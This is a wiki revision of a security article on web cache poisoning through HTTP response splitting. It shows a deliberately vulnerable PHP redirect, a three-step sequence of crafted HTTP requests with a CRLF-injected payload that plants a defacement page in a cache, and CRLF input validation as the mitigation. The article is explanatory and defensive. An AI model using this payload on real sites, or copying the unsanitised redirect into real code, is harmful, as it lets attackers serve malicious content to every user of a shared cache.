Difference between revisions of "Cache Poisoning"
|Line 121:||Line 121:|
Revision as of 18:06, 4 November 2007
The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.
To successfully carry out such an attack we shall do the following:
- Find the vulnerable service code, which allows us to fill the HTTP header field with many headers.
- Force the cache server to flush its actual cache for the content, which we want be cached by the servers.
- Send specially crafted request created by the attacker, which will be stored in cache.
- Send the next request. The previously injected content stored in cache, will be the response to this request.
Described attack is rather difficult to carry out in the real environment. The list of conditions is long and hard to accomplish by the attacker. However it's easier to use this technique than Cross-User Defacement.
Cache Poisoning attack is possible because of HTTP_Response_Splitting and flaws in the web application. It is crucial from the attacker's point of view that the application allows for filling the header field with more than one header using CR (Carrige Return) and LF (Line Feed) characters.
We have found a web page, which gets service name from the "page" argument and then redirects (302) to this service.
And exemplary code of the redir.php:
rezos@dojo ~/public_html $ cat redir.php <?php header ("Location: " . $_GET['page']); ?>
Crafting appropriate request: 
1 - remove page from the cache
GET http://testsite.com/index.html HTTP/1.1 Pragma: no-cache Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8
HTTP header fields "Pragma: no-cache" or "Cache-Control: no-cache" will remove the page from cache (if the page is stored in cache obviously).
2 - using HTTP Response Splitting we force cache server to generate two responses to one request
GET http://testsite.com/redir.php?site=%0d%0aContent- Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast- Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte nt-Length:%2020%0d%0aContent- Type:%20text/html%0d%0a%0d%0a<html>deface!</html> HTTP/1.1 Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8
We are intentionally setting the future time (presently it's 2007 but in the header it's set to 2009) in the second response HTTP header "Last-Modified" to store the response in the cache.
We may get this effect by setting the following headers:
- Last-Modified (checked byt the If-Modified-Since header)
- ETag (checked by the If-None-Match header)
3 - sending request for the page, which we want to replace in the cache of the server
GET http://testsite.com/index.html HTTP/1.1 Host: testsite.com User-Agent: Mozilla/4.7 [en] (WinNT; I) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8
In theory cache server should match the second answer from the request #2 to the request #3. In this way we've replaced the cache content.
The rest of the requests should be executed during one connection (if the cache server doesn't require more sophisticated method to be used) possibly immediately one after another.
It may appear problematic to use this attack as universal techique for cache poisoning. It's due to cache server's different connection model and request proccessing implementations. What does it mean? That for example effective method to poison Apache 2.x cache with mod_proxy and mod_cache modules won't work with Squid.
Different problem is the length of the URI, which sometime makes it immposible to put necessary response header, which is next going to be matched to the request for the poisoned page.
Used request examples are from , which were modified on the needs of the article.
More information can be found in the document, which focus on this kind of attacks  http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf by Amit Klein, Director of Security and Research
- Validation of the input data (CR and LF).
- Forbid HTTP headers nesting in one header's field.